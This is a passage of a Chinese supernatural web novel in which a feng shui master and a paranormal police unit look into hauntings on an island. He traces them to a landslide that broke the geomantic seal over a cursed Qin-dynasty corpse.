说完,又忍不住干呕了一下。
马季连忙帮他拍背,一脸无奈。
古德叹了口气,得,指望不上这个晕船精灵了。
谢潮见古德问石敢当,心知肯定有情况,追问道:“德仔,到底怎么回事?你刚才是不是发现了什么?”
古德摇了摇头,目光再次扫过平静的海面,语气低沉地说道:“正是因为什么都没发现,才是最大的问题。”
他顿了顿,组织了一下语言,向众人解释道:
“我刚才在船舱里,突然感应到一股非常强大的阴气,就在我们船附近的海域出现,但瞬间又消失了。我立刻用破障符探查,结果……一无所获。”
周星星挠了挠头:
“会不会那东西只是碰巧路过,发现我们这艘船的人都不简单,就跑了?”
古德瞥了他一眼:“如果是路过,气息不会消失得那么彻底,我怀疑,我们可能被什么鬼东西盯上了,而且这鬼东西,很擅长隐匿。”
听到这话,众人的脸色都严肃了起来。
能让古德如此重视,并且破障符都找不出来的东西,绝对不简单。
“大家提高警惕,”古德沉声道,“该做的准备都提前准备好,别到了岛上手忙脚乱。这趟活,恐怕没我们想的那么轻松。”
谢潮等人纷纷点头,气氛一时间有些凝重。
交代完后,古德率先转身,朝着船舱走去。
其他人也互相看了看,跟着返回。
就在古德即将踏入船舱门口时,他的目光无意间扫过角落的
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地板。
那里,一个高脚酒杯摔碎了,琥珀色的威士忌酒液洒了一地,形成一滩不规则的水渍,而棱角锋利的玻璃碎片则四散飞溅,在柔软的地毯上留下点点痕迹。
这显然是刚才众人听到动静匆忙跑出去时,不小心碰倒的。
原本只是一个寻常的意外。
然而,就在这一瞥之间,古德却被眼前的景象瞬间触动!
破碎的玻璃——兑卦!
兑为缺,为毁折,为破裂之象。
其锋利的边缘,亦为兑,兑属金,象征金属利刃,主刑伤、决断。
飞溅的碎片呈放射状——巽卦!
巽为风,为散,为不定,象征事情扩散、难以掌控。
洒落的酒液——酒为水,但形态散乱,亦强化了巽卦的“散”意。
同时,船行海上,整体环境为坎水。
酒杯本身为玻璃,源于沙土(坤),但其功能是盛放液体(坎),且位于行于水上的船(巽?)中。
电光石火间,这些意象在古德脑海中飞速组合、推演!
这突如其来的“外应”,结合自身所处的环境,已然构成了一幅生动的卦象!
他自身在船上,船行水上,动则为巽(风、木船)。
遇此破碎散乱之象……
“泽风大过!”
一个卦名瞬间跃入古德的脑海!
大过卦,卦象上兑下巽,兑为泽,为毁折,巽为风,为木船。
泽水淹没木船,乃灭顶之灾、过度、非常行动之象!
卦辞有云:“栋桡,利有攸往,亨。”
但爻辞多凶,如“枯**稊”、“过涉灭顶”,皆暗示根基不稳、危机四伏、需要采取非常手段才能渡过难关!
古德的眼中,一抹淡金色的光芒一闪而逝,那是体内法力自然感应的外在表现。
他的脸色变得前所未有的凝重。
“原来如此……”他心中暗道,“破障符无效,并非错觉,而是对手的层次可能超出了常规探查手段。这‘大过’之卦,正是警示此行将有超乎寻常的险阻,甚至可能有性命之危!”
他站在船舱门口,目光再次扫过舱内正在低声交谈、或检查装备的同伴。
“看来……不能当做出来游玩了。”
古德心中迅速做出了决定,“必须做几手额外的准备,以防万一。”
他不再停留,快步走进船舱,但心思已经完全从刚才的轻松打闹中抽离,开始飞速盘算起来。
看着古德突然变得沉默和专注的神情,谢潮和周星星对视一眼,都从对方眼中看到了一丝疑惑和隐隐的不安。
他们知道,古德肯定是发现了什么不寻常的事情,而且,事情可能比他们预想的要严重得多。
海风依旧吹拂,游艇破浪前行,目的地那座出了事的小岛。
第143章 这是风水出了问题
游艇的马达声低沉地轰鸣着,划破平静的海面,朝着视野中那座逐渐放大的岛屿驶去。
海风带着咸湿的气息吹拂在甲板上众人的脸上。
古德双手扶着船头的栏杆,极目远眺。
那座岛屿的轮廓越来越清晰,岛上植被郁郁葱葱,隐约能看到一些依山而建的民居。
然而,在古德眼中,这座看似宁静的岛屿上空,却笼罩着一层寻常人难以察觉的淡薄黑气。
这黑气并非冲天怨煞,更像是一种沉滞、污浊的地气,如同阴霾般萦绕不散,与周围清朗的海天景色格格不入。
“果然有问题……”古德心中暗道。
这股气息与他之前感应到的海上那股强大阴气并非同源,更像是岛屿本身出了问题。
但奇怪的是,据谢潮所说,这个岛上的渔村已经存在了好几百年,世代居住于此。
如果问题一直存在,这里根本不可能形成稳定的村落。
那么,这岛上恶化的现象,极有可能是近期才发生的变故。
“看来,根子可能出在岛上。”古德若有所思。
游艇缓缓靠上了一个简易却结实的木质码头。
码头上已经**了不少村民,男女老少都有,脸上大多带着几分焦虑和期盼。
站在人群最前面的,是一位约莫六十多岁、身穿深色绸缎唐装、头发梳得一丝不苟的老者。
他面色红润,气度沉稳,一看便是养尊处优、颇有威望之人。
一见谢潮率先走下舷梯,那唐装老者立刻满脸堆笑地迎了上来,热情地拱手道:
“谢sir你终于来了!一路辛苦,一路辛苦!”
谢潮也客气地回礼,与他握了握手:“钱老板,是我们来迟了,让你久等了。”
他环顾了一下四周,直接切入正题,“不知道我们落脚的地方安排在哪里?我们先安顿一下。”
钱老板连忙侧身,对旁边一个穿着粗布马褂、身材高大壮实、皮肤黝黑的中年汉子吩咐道:
“阿强,你带各位阿sir去准备好的院子,一定要安排妥当!”
那叫阿强的汉子恭敬地点头哈腰:“是,村长!各位阿sir,请跟我来。”
他看起来是岛上的管事之一,手脚麻利,言语朴实。
钱老板又转向谢潮,笑容可掬地说:“谢sir,各位长官先安顿下来,稍作休息。中午我在寒舍设了顿便饭,给各位接风洗尘,还望务必赏光!后厨都已经准备好了。”
谢潮没有立刻答应,而是用询问的目光看向身旁的古德,是吃饭还是去查看一下岛的情况。
古德微微颔首。
他正想找机会和这位看起来是岛上主事人的钱老板聊聊,了解一下具体情况,饭局无疑是个好机会。
见古德点头,谢潮便对钱老板说道:“钱老板太客气了,那我们就不推辞了,晚点一定到。”
“好好好!那我就在舍下恭候各位大驾!”钱老板笑容更盛。
于是,古德背着他那个标志性的黑色长条琴盒,和谢潮并肩而行,身后跟着周星星、于子朗、马季、高彦博、莫作栋、古泽琛等一大群人,再加上几名后勤人员,可谓浩浩荡荡。
在阿强的引领下,他们离开了码头,沿着一条石板铺就的主路向岛内走去。
岛屿不大,沿途能看到不少传统的渔村屋舍,大多是用石头和木头建成,显得有些年头。
一些村民站在路边或门口,好奇地看着这群外来警员。
空气中弥漫着海腥味和淡淡的鱼干味,但也夹杂着一丝若有若无的、让人不太舒服的阴湿气息。
走了大约十来分钟,来到村落相对中心的位置,阿强指着前方一座看起来颇为宽敞、格局类似北方四合院的建筑说道:
“各位阿sir,就是这里了。这是我们村以前用来议事和招待贵客的地方,村长特地让人里外都打扫干净了,被褥洗漱用品都是新的,足够住下二三十人,大家放心住。”
这院子青砖灰瓦,但收拾得干净整洁,在岛上算是很好的条件了。
古德笑着对阿强道了声谢:“辛苦你了,阿强哥。”
说完,他率先迈步走了进去。
他没有急着挑选房间,而是像巡视领地一般,不紧不慢地在整个院子里外转了一圈。
前院、正堂、东西厢房、甚至后院角落,他都仔细看了看,时而抬头望望天井,时而低头看看地面砖缝。。
最后,他选择了位于院子中轴线上的、坐北朝南的一间正房。
这间房位置居中,采光通风最好,也最容易感应和调控整个院子的气场。
由于房间有限,除了古德被默认需要独立空间外,其他人基本都是两人一间。
谢潮选择跟莫作栋住一起,周星星自然和于子朗凑到了一起,马季照顾着还有些晕乎乎的石敢当,高彦博和古泽琛这两位自家人跟不用说了。
简单安置好行李后,古德找到正在安排人员住宿的谢潮,对他说道:
“阿潮,走吧
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,我们去会会那位钱老板。正好路上我也观察了一下,我怀疑这岛上的问题,根源可能出在风水上。”
谢潮闻言,有些疑惑地挑了挑眉:“风水?不是闹鬼吗?村民反映的都是些见鬼遇邪的事情。”
古德笑了笑,解释道:
“风水出了问题,才会容易招邪引鬼。你想,这岛以前能住几百年相安无事,说明原本的风水格局至少是平稳的,甚至可能还不错,能庇护一方。
但现在地气沉浊,黑气隐现,这就像是房子的地基坏了,门窗关不严了,外面的‘脏东西’自然就容易跑进来,或者原本被压住的东西就跑出来了。”
谢潮虽然对风水之术了解不深,但古德说得通俗易懂,他稍微一想便明白了其中的关联,点了点头:“有道理。那待会吃饭的时候,得好好问问。”
这时,周星星摸着咕咕叫的肚子凑了过来,催促道:“两位大佬,讨论完了没?赶紧去吃饭吧!我快饿扁了!这岛上闻着鱼腥味更饿了!”
古德和谢潮相视一笑,便招呼上其他几人,一起前往钱老板的府邸。
钱老板的住处果然不同凡响。
位于村落地势较高处,是一座占地面积颇大的中式宅院,青砖高墙,朱漆大门,门楣上悬挂着一块匾额,上书两个烫金大字——“钱府”。
气派程度与岛上普通的民居形成鲜明对比。
古德站在府邸门前,摸了摸下巴,眼中闪过一丝不易察觉的思索。
在这偏远的、以渔业为主的小岛上,能积累起如此财富,建起这般府邸,这位钱老板……是靠什么发家的?
传统的捕鱼业恐怕很难支撑这样的排场。
他心中升起一丝好奇。
进入钱府,内部装饰更是讲究,红木家具,瓷器摆件,甚至还有几幅看起来不错的字画,处处显露出主人的财富和品味。
宴席设在一间宽敞的客厅里,菜肴颇为丰盛,以海鲜为主,看得出钱老板是花了心思的。
宾主落座,寒暄几句,酒过三巡之后,古德看时机差不多了,便放下筷子,目光平静地看向主座上的钱老板,用闲聊般的语气问道:
“钱老板,这岛上的风景确实独特。不过,我们这次来是为了解决麻烦。能不能详细说说,岛上是从什么时候开始,具体在哪些地方,出现那些不寻常的事情的?”
他的问题看似随意,却直指核心。
饭桌上的气氛,随着这个问题,悄然变得认真起来。
第144章 新加点的技能
听到古德的问话,钱老板脸上的笑容微微一僵,闪过一丝不易察觉的犹豫。
他端起茶杯,轻轻呷了一口,借着这个动作沉吟了片刻,似乎在组织语言。
放下茶杯后,他才缓缓开口,语气带着几分沉重:
“唉,说起这个,确实让人头疼。时间嘛,不算太长,大概就是这个月月初开始,陆陆续续就出了不少怪事。”
他掰着手指头,一件件数来:
“最开始,是几户人家去后山的祖坟地祭拜。回来就说,在坟场那边看到了强伯。这个强伯,以前是负责看守和管理祖坟的老人,为人老实勤快,但几年前就因为一场急病过世了。
那几户人家都信誓旦旦地说,看到强伯像以前一样,拿着扫帚在坟地里打扫,还冲他们点头打招呼,可把他们吓得不轻。”
“紧接着,没过两天,就出人命了。”
钱老板的声音压低了些,“有个后生仔,晚上喝多了酒,不知怎么跑到了后山祖坟地旁边,第二天被人发现时,已经没气了。死因……有点蹊跷,说是像被什么东西活活吓死的,脸上表情扭曲得厉害。”
“这还没完,”他叹了口气,继续说道,“海边也出了事。一个经验丰富的老渔民,在一个风平浪静的傍晚,独自驾着小船出海,没多久就翻了船,人淹**。
可怪就怪在,那天海面平静得很,他的船也好好的,怎么就翻了呢?有当时在附近的人说,好像看到水里有什么黑影一闪而过……”
“最邪门的,是最近几天,”钱老板的脸上露出一丝心悸。
“有几家人晚上睡觉时,听到有人敲门,声音很像他们早已过世的父母或者老伴。一边敲还一边念叨,说什么‘我们回来了,快开门让我们进去……’这谁还敢开啊!现在弄得岛上人心惶惶,天一黑就家家户户紧闭门窗,都不敢随便出声。”
古德静静地听着,手指无意识地在桌面上轻轻敲击。
他注意到,钱老板在叙述时,眼神偶尔会有些闪烁,似乎有所保留。
“就这个月才开始……时间点很集中啊。”
古德若有所思地点了点头,心里已经有了初步判断。
岛上的风水格局很可能是在近期遭到了破坏,才导致了地气泄露,阴邪滋生。
不过应该还有其他原因,这位钱老板恐怕知道些什么,却没有明说。
他不再追问钱老板,而是转向谢潮,直接安排道:
“阿潮,你跟我一起,先在岛上大致转一圈,看看整体环境。阿星,子朗,你们分别带一队人,去具体出事的地点查看一下,重点是后山祖坟地和那个老渔民出事的海边。
仔细检查有没有残留的阴气或者不寻常的痕迹。记住,白天先以探查为主,不要轻易动手,等晚上我们再统一行动。”
他的安排清晰明了,直接接管了现场的指挥权。
谢潮对此毫无异议,立刻点头:“明白。”
周星星和于子朗也立刻应声道:“好的,阿德(德仔)!”
马季、高彦博等人自然也听从安排。
这一幕让钱老板眼中再次闪过惊讶之色。
他原本以为谢潮这位穿着皮衣、气质冷峻的警官才是领头人,没想到这个背着古怪琴盒、看起来年纪轻轻的古大师,说话竟然这么有分量,一句话就让所有人都行动起来。
他不由得对古德又高看了几分,虽然心里好奇,但很识趣地没有多问。
众人吃饱喝足后,便分头行动。
周星星和于子朗各自带着几名后勤人员,按照古德的吩咐前往不同的事发地点。
古德则和谢潮准备出发勘察全岛风水。
这时,钱老板站起身,笑着对古德和谢潮说道:
“古大师,谢sir,我对岛上各处都比较熟悉,不如让我给你们带路吧?也好有个照应。”
古德看了他一眼,有些无奈地摇摇头:
“钱老板,你的好意心领了。不过这勘察风水需要步行,仔细查看地形地貌,有时候还要爬高走低。您这年纪,跟着我们跋山涉水,恐怕太辛苦了,还是在家歇着比较好。”
钱老板闻言,却呵呵一笑,脸上露出一种“你多虑了”的表情:
“原来古大师是担心这个。无妨无妨,这点小事,老汉我还是有办法的。”
说完,他抬手打了个响指。
只见从客厅侧门迅速走进来六个身材魁梧、肌肉结实的壮汉,两人一组,肩上扛着一副造型奇特的简易轿子。
这轿子结构很简单,就是两根长长的竹竿,中间固定着一张带有靠背的藤编躺椅,看起来轻便又透气。
这正是南方山区常见的一种代步工具——滑竿。
阿强也跟在旁边,手里还拿着一把大大的油纸伞。
钱老板指着滑竿,颇为自得地对古德和谢潮说:
“古大
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师,谢sir,走路辛苦,不如一起坐这个?稳当又省力,视野还好。”
古德看着这阵仗,有些哭笑不得。
这钱老板的做派,真是像极了旧时代的土财主,出个门还要人抬着。
他摆摆手,果断拒绝:“多谢钱老板好意,不过不必了。我们看风水,讲究‘脚踏实地’,要亲自用脚去丈量土地,感受地气流转,坐在轿子上,很多细微之处就察觉不到了。”
谢潮也冷淡地表示不需要。
钱老板见他们态度坚决,也不强求,笑呵呵地在那张藤编躺椅上坐了下来,调整了一个舒服的姿势。
旁边的阿强立刻撑开油纸伞,恭敬地为他遮挡住已经开始有些炽热的阳光。
古德心里忍不住感叹:这老家伙,还真是会享受。
这前呼后拥、遮阳抬轿的派头,在这偏远小岛上,确实算得上是“土皇帝”了。
不再理会钱老板的“豪华座驾”,古德背起沉重的琴盒,从随身挎包里取出了那枚古旧的风水罗盘。
不过古德发现这岛上气息错综复杂,之前学习的风水学知识在此刻隐隐有些不足。
他需要更精深、更系统性的风水理论来支撑判断。
他心念一动,想到了技能列表中的一个选项【青囊中书】,又称郭璞遗篇。
这是后世科技复原整理的古代风水奇书,相传源自风水鼻祖郭璞,内容深奥,涵盖“观气、镇脉、通阴阳”等至高学问,远非普通风水书籍可比。
“看来,得临时抱佛脚了。”
古德没有犹豫,心中默念:“系统,消耗公里点数,将《青囊中书》提升至LV2。”
【叮!提升《青囊中书》至LV2,消耗公里点数110点。当前公里数:1350.3。】
瞬间,大量关于山川形势、地气运行、阴阳交变的玄妙知识涌入古德的脑海,虽然练习时长只有2坤年,却让他对风水的理解瞬间提升了一个层次,眼光也变得更为锐利。
准备就绪,古德手托罗盘,率先迈步向着码头方向走去。
他决定从岛屿与外界连接的关键节点码头开始勘察。
谢潮默不作声地跟在他身旁,而钱老板则悠闲地坐在滑竿上,由四个壮汉稳稳地抬着,阿强撑着伞跟在一侧,一行人颇为醒目地离开了钱府,朝着码头行进。
(感谢猎头蟹靓仔的99朵小花花和各位魅魔的礼物,爱你们)
第145章 这座岛上隐瞒的秘密
古德领着谢潮,身后跟着坐在滑竿上被四个壮汉稳稳抬着的钱老板,一行人再次来到了岛屿边缘的码头。
午后阳光炽烈,海面却显得有些不寻常。
风水勘测,首重观水。
水是气的载体,也是界隔阴阳的屏障。
古德站在木质栈桥上,凝神细看。
之前下船时匆忙,未曾留意,此刻仔细观瞧,心中便是一沉。
只见近岸的海水,并非清澈的蔚蓝,而是呈现出一种浑浊的土黄色,仿佛有泥沙不断从海底翻涌上来。
海浪轻轻拍打着礁石和堤岸,带起一堆堆粘稠的、经久不散的白色泡沫,像是劣质肥皂水,而非海洋自然的浪花。
空气中弥漫的气味也颇为怪异,不再是那种清新略带腥咸的海风,而是一种甜腻中夹杂着腐朽的腥气,闻久了让人隐隐作呕。
最令人不安的是那几艘随着波浪轻轻起伏的旧渔船。
它们本该安静地停泊着,此刻却显得有些“焦躁”。
船底随着波浪的节奏,一下下地、并非猛烈但却持续地撞击着支撑码头的粗大木桩,发出沉闷而空洞的“砰……砰……”声。
这声音不像是自然的拍打,更像是一种无意识的、带着不安的躁动。
古德面色凝重,从随身挎包里取出那枚古旧的风水罗盘,平端于掌心,默运一丝法力注入其中。
罗盘天池中的磁针(正针)先是微微颤动,随即出现了异常!
针头并未稳定地指向南北,反而像是被一股无形的力量拉扯着,针身倾斜,针尖明显地指向岛屿内陆的方向!
“投针……”古德心中默念。
这在风水学中称为“投针”或“沉针”,是极凶之兆,表明有强大的阴性能量源正在岛内深处形成强烈的“吸力”,扰乱了正常的地磁场,也意味着整个岛屿的气场正在被内部的阴煞之物所牵引和污染。
他抬起头,对身旁的谢潮和滑竿上的钱老板解释道:
“在风水学看来,水主财,更主宰着‘气’的流动与界隔。环绕岛屿的海水,就如同一条保护小岛的‘水龙’,也是内外气息交换的屏障。
你们看眼前这海水,浑浊泛黄,泡沫淤积,气味腐浊,说明这条‘水龙’已经病了,气息污秽滞涩,失去了原本的澄净与活性。
这意味着,环绕小岛的自然保护气场已经非常脆弱,甚至失效了,无法再很好地隔绝外界的邪气,也难以约束岛内可能滋生的阴秽。”
钱老板听到这话,脸色“唰”地一下变得惨白,身体在滑竿上不自觉地前倾,急声问道:
“古……古大师!这……这是什么情况?怎么会这样?我们岛上的海水以前不是这样的啊!”
古德看了他一眼,没有直接回答他的问题,只是淡淡笑了笑,说道:
“海水的情况我已经看到了。接下来,我们要去看‘淡水’。钱老板,带我去岛上最重要的水源地看看,比如村子中央那口常用的水井。”
钱老板见古德避而不答,心中更加忐忑,但也不敢多问,只好指挥抬滑竿的壮夫:“去中心水井。”
那口水井位于村落中心的一个小广场边缘,据说开凿得很早,是岛上居民世代饮用和生活的的重要水源。
井口用青石垒砌,看起来有些年头了。
来到井边,时值盛夏午后,烈日当空,地面都被烤得发烫。
然而,当古德的手触碰到井口的石栏时,却传来一股异乎寻常的、透骨的冰凉,激得他手指微微一缩。
他探头向井内望去,只见井壁内侧凝结着一层细密的水珠,如同人在闷热天气里出的冷汗。
井水幽深,望下去黑乎乎的,水面上似乎漂浮着一层极淡的、若有若无的灰白色雾气,在这炎热的天气里显得极不协调。
古德再次将罗盘取出,这次他小心翼翼地将罗盘悬空,置于井口正上方。
只见天池中的磁针像是受到了巨大的干扰,开始剧烈地、毫无规律地左右摇摆,根本无法静止下来!
“转针!”古德心中一凛。
这是比“投针”更进一步的凶象,称为“转针”或“摇针”,明确指示此处不仅有强烈的阴煞之气,而且这阴煞还带有一定的灵识或活性,正在剧烈扰动地气!
一旁的谢潮虽然不懂风水,但也看出这罗针转得极不寻常,好奇地问道:
“阿德,你这针转得这么厉害,是说明这井里有什么邪祟吗?”
古德摇了摇头,神色严肃地解释道:
“并非井中有具体的邪祟盘踞。井,在风水上被称为‘地眼’,是沟通
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地下深处地气的关键穴位。
这口井出现‘盛夏而寒,幽深泛雾’的异象,正是地下过量的阴寒之气,正在通过这个‘穴位’大量向外逸散的明显征兆。
它已经从一口滋养生命的‘气眼’,变成了一个泄漏阴煞的‘煞口’。这说明……岛下的水源或者地层深处,出了问题,正在源源不断地产生和释放阴气。”
钱老板在滑竿上听得心惊肉跳,差点没坐稳。
这口水井他们天天用,虽然最近觉得井水是比往年凉一些,但谁也没想到会严重到这个地步!
他声音带着颤抖再次追问:“古大师!这……这又是怎么回事啊?我们这井……底下能有什么问题?”
古德目光锐利地看向钱老板,语气平和却带着一种穿透力:
“钱老板,这正是我想问你的。这座岛的地下,到底藏着什么?或者说,你们知不知道,为什么这座岛的地下,会突然产生如此大量的阴气?有些事情,如果根源不解决,只是治标,恐怕后患无穷。”
钱老板的眼中瞬间闪过一丝难以掩饰的惊慌,他下意识地避开了古德的目光,双手不自觉地抓紧了滑竿的扶手,强作镇定地回答道:
“古……古大师,您说笑了,我……我一个普通渔民,哪里会知道岛下有什么东西?可能就是……就是地气自然变化吧?”
古德将他那一闪而逝的惊慌尽收眼底,心中冷笑,面上却不动声色,只是淡淡一笑:
“哦?不知道就算了。那我们再去山顶看看,俯瞰一下全岛格局。钱老板路上可以慢慢想,如果想明白了,随时可以告诉我。”
他顿了顿,语气看似随意,却加重了几分分量。
“不过,丑话说在前头,如果因为某些关键信息被隐瞒,导致我们对局势误判,处置不当,最后引发灾难性的后果,比如阴气彻底爆发,邪祟失控,甚至危及全村人的性命……
那这个责任,恐怕就不是我们这些外来帮忙的人能承担的了。我们最多只能尽力清除已经冒出来的邪祟,至于根源,若主人家都不愿坦诚,我们也无能为力。”
这番话如同重锤,敲在钱老板的心上。
他的脸色一阵青一阵白,额头上渗出了细密的汗珠,之前的从容和富态消失不见,只剩下深深的忧虑和挣扎。
第146章 阴龙破局,鬼门洞开
他张了张嘴,似乎想说什么,但最终还是没有开口,只是沉重地叹了口气,挥挥手,示意阿强带路去山顶。
古德心中明了,这岛上定然有不愿外人知晓的秘密,而且这秘密很可能与眼下风水异变的根源密切相关。
既然钱老板选择隐瞒,他也不会强求。
他的主要任务是解决明面上的灵异事件,拿钱办事。
至于岛上的秘密和可能引发的长远后果,他已经出言提醒,仁至义尽。
如何抉择,就看这位“土皇帝”自己了。
一行人沉默地向岛上那座不高却已是制高点的小山丘走去。
钱老板坐在滑竿上,眉头紧锁,脸色阴沉,完全没有了之前的笑意,显然内心正在进行激烈的思想斗争。
登上山顶,视野豁然开朗。
整个小岛的轮廓尽收眼底。
古德手持罗盘,放眼望去,心中不由一动。
这小岛的形状,竟颇似一只匍匐于碧海之中的灵龟!
村落房屋大多建在龟背般平坦宽阔的中心区域,而朝向大海的“龟首”方向,有一处林木葱郁的山坳,那里正是岛上修葺整齐的祖坟所在地。
“玄武负碑……”古德喃喃自语。
这本是一个极佳的风水格局!
祖坟如同石碑,由灵龟(玄武)神兽背负,寓意安稳、长寿,能福泽后代,镇守一方安宁。
若维护得好,足以保此地数百年平安。
然而,当他的目光扫向祖坟区域的中后部时,瞳孔骤然收缩!
只见那里,一道明显的、像是近期被暴雨山洪冲刷出来的滑坡痕迹,如同一条丑陋的伤疤,从山脊延伸下来,精准地从祖坟群中横切而过!
滑坡体上的树木东倒西歪,露出了底下惨白的岩土层和赤红的黏土,在绿意盎然的山坡上显得格外刺眼。
古德立刻将罗盘对准祖坟和滑坡的方向。
这一下,罗盘天池中的磁针反应更为剧烈!
针头死死地压在天池底部的红色基准线上,并且剧烈地颤抖着,发出细微的嗡鸣!
这是最强烈的“投针”现象,亦称“沉针”,主大凶,预示着下方不仅有阴物作祟,更可能意味着地脉受到了严重的、根本性的创伤!
一瞬间,所有的线索在古德脑海中串联起来,真相如同拨云见日般清晰!
他恍然大悟,指着那道滑坡痕迹,对身旁同样面色凝重的谢潮说道:
“阿潮,你看那里。问题的关键,恐怕就在那道滑坡上。”
谢潮顺着指引望去,他虽然不懂风水,但也能看出那道滑坡破坏了整体的和谐感,让人感觉很不舒服,于是问道:
“德仔,你的意思是,那道滑坡就是一切问题的根源?”
“是,但也不全是。”古德解释道,语气带着一丝洞察玄机的冷静。
“那道滑坡,更像是压垮骆驼的最后一根稻草。它看似偶然,却精准地切断了一条维系祖坟生机的、至关重要的‘阴脉’。”
他尽量用通俗的语言解释着风水的奥秘:
“祖坟能够福荫后人,除了寄托哀思,在风水上,依赖于地下那些蜿蜒细微、如同大地神经网络般的灵性地脉,也就是‘阴脉’。
这些阴脉为祖坟输送着纯净的‘地气’,维持其灵性,也是整个风水局能量循环的基础。”
“如今,这条关键的阴脉被滑坡强行切断。祖坟无法再从大地汲取纯正的地气,反而因为脉断而变成了‘死穴’,开始倒吸周围的阳气,并释放出墓穴中积存数百年的腐朽阴气。
这就好比给一个活人断了主要的供血管道,身体不仅会坏死,还会开始腐烂。”
他目光深远地望向祖坟方向,继续说道:
“而最关键的一点在于,我怀疑这个‘玄武负碑’的风水局,其真正目的,或许并不仅仅是福泽后人那么简单。
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它更可能是一个**之局!是利用祖坟的‘正气’和灵龟的‘稳势’,来**这岛屿地下更深层的、某种古老的阴煞之物。”
说到这里,古德眼中闪过一丝思索之色,他总觉得这个“以坟镇煞”的说法,似乎在哪里听说过或看到过类似的记载,但一时又想不起来。
他甩开这丝杂念,继续分析:“如今,作为整个风水**大阵核心的祖坟失守,阴脉断裂,正气消散,阴气倒灌。整个‘玄武负碑’局的**之力瞬间瓦解。而恰逢其时……”
古德抬头看了看天色,虽然阳光明媚,但他能感受到天地间弥漫的那股属于农历七月的特殊阴性能量。
“……又正值传说中鬼门关开的鬼月,天地间阴气自然达到一年中最盛之时,形成强大的‘阴气潮汐’。
这股强大的外力,如同洪水找到了决堤的缺口,通过被切断的阴脉裂口,汹涌地冲入岛内,瞬间就冲垮了岛上维系数百年的、原本就颇为脆弱的阴阳平衡。”
他的结论清晰而沉重:
“所以,现状就是阴龙破局,鬼门洞开。阿潮,这次的情况非同小可。
我们不仅是在处理几只作乱的鬼魂,很可能是在面对一个因风水格局崩溃而引发的、持续性的阴气泄漏源头,甚至可能惊动被**了数百年的东西。
我们此刻,都已身在局中,想轻易脱身恐怕不易。接下来我们需要提前做一些准备了!”
古德的声音平静,但话语中的内容却让谢潮的脸色彻底变了。他深知古德的能耐和判断力。
能让古德说出“身在局中无法脱身”、“提前做准备”这样的话,意味着眼前的危机,恐怕远超他们“异灵灵异部门”日常处理的范畴。
一股沉重的压力,瞬间笼罩在谢潮心头。
山顶的风吹过,带着海水的咸味和一丝若有若无的腐朽气息,钱老板在古德和谢潮背后默默的听完后,终于忍不住开口。
第147章 “私”家重地,富甲天下
山顶的风吹拂着,带着海水的咸腥和一丝若有若无的土腥气。
古德的话像一块巨石投入平静的湖面,在谢潮心中激起惊涛骇浪。
连坐在滑竿上的钱老板,虽然对风水术语一知半解,但听到“阴龙破局、鬼门洞开”、“身在局中无法脱身”这些字眼,再结合古德凝重的神色,也明白事情已经到了极其严重的地步。
钱老板的脸色变幻不定,内心的挣扎清晰地写在脸上。
他看看面色沉肃的谢潮,又看看背对着他、正俯瞰全岛沉思的古德,最终,像是下定了某种决心,长长地、带着颤音地吐出了一口浊气。
他挥挥手,示意抬滑竿的壮汉将他放下。
双脚落地后,他整理了一下有些褶皱的唐装,努力平复了一下急促的呼吸,走到古德身侧,声音带着几分沙哑和决绝:
“古……古大师,谢sir。有件事……我想,是时候该跟二位坦白说了。”
古德眉头微微一挑,缓缓转过身,目光平静地看着他:
“哦?钱老板这是……想通了?”
钱老板脸上露出一抹苦涩至极的笑容,那笑容比哭还难看:
“到了这个地步,还有什么好隐瞒的?在身家性命面前,祖宗那点见不得光的秘密,又算得了什么?”
他顿了顿,仿佛在积聚勇气,然后继续说道,“这事关我们钱家,乃至岛上李姓、杨姓三族人的生死存亡,也……也是眼下这场灾祸的根源。”
古德点了点头,没有催促,只是做了个“请讲”的手势,然后转过身,继续看似随意地打量着岛屿的布局,但耳朵却已完全专注于钱老板的叙述。
谢潮也向前靠近了一步,神色严肃地准备倾听。
钱老板深吸一口气,仿佛要汲取三百年前的尘埃,开始讲述那段被尘封的家族秘辛,他的声音低沉而缓慢,带着一种历史的沉重感:
“这事,得从三百年前说起了……那时还是前朝。我们钱家的祖先,连同岛上的李姓、杨姓祖先,其实……并非什么良善渔民。他们……他们是纵横附近海域的海盗。”
他停顿了一下,似乎在观察古德和谢潮的反应,见二人并无太大惊讶,才继续道:
“有一次,他们盯上了一艘运送税银和贡品的皇船。那船上,据说载满了金银珠宝,价值连城。祖先们利欲熏心,趁着月黑风高,发动了袭击……那是一场血腥的**,船上的官兵……无一幸免,全都**了。”
说到这里,钱老板的声音更低了些,带着一丝不易察觉的羞愧。
“然而,就在他们抢夺财宝的过程中,却意外惊醒了一样恐怖的东西,那是一具被放置在特制棺椁中,随船一同运送的古尸。根据族谱记载,那似乎是一具秦代的古尸,不知为何会被运送上京。”
“那古尸苏醒后,力大无穷,刀枪不入,凶性大发,反而杀了不少我们钱、李、杨三姓的祖先。就在众人即将全军覆没之际,幸得一位云游路过此地的道长出手相救。”
钱老板眼中闪过一丝庆幸和后怕,不然都没有他出生了。
“那位道长法力高强,用一柄神异的钟馗宝剑,最终将那具秦尸制服。”
“但事情并未结束。”
钱老板的语气变得更加凝重,“
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道长说,此尸怨气极重,又与这海岛地气产生了某种联系,难以彻底消灭。
而且,那些**的官兵冤魂不散,凝聚成一股强大的诅咒,缠绕着这批财宝和这具秦尸。它们立下毒誓,三百年后,必破关而出,杀光岛上钱、李、杨三姓的所有后人!”
“为了平息怨气、**秦尸,道长指点我们的祖先,在这海岛之下,秘密修建了一座机关重重的墓穴。
将秦尸、那批沾满血腥的财宝,以及所有官兵的尸骸,一同封印在了墓穴深处的一座宝塔之内。道长还留下了那柄钟馗宝剑和三枚特制的镇尸铜钱,说是这三样宝物,是日后彻底消灭秦尸的关键。”
钱老板叹了口气:
“这件事,被详细记录在三姓的族谱之中,代代相传,警醒后人。而今年……正好是第三百年!
所以,当我看到岛上开始出现各种怪事,古大师您又指出风水格局被破时,我就知道……恐怕是封印松动了,那诅咒……应验了的前兆啊!”
但钱老板接下来的话,却又让这场即将发生的灾难似乎有了一线生机:
“不过,族谱中也提到,那秦尸想要破关而出也并非易事。道长留下的钟馗宝剑和镇尸钱,就是克制它的关键。只要进入墓穴,拿到这些宝物,就有机会在它彻底脱困前将其消灭。”
听完钱老板的叙述,古德眼中闪过一丝不易察觉的了然。
这不是《尸家重地》么!
原来是这部电影的剧情!
这部电影,可是根据一首诗,最后的八字开展出来的。
这八字就是——私家重地,富甲天下。
第148章 剧情中出现的漏洞
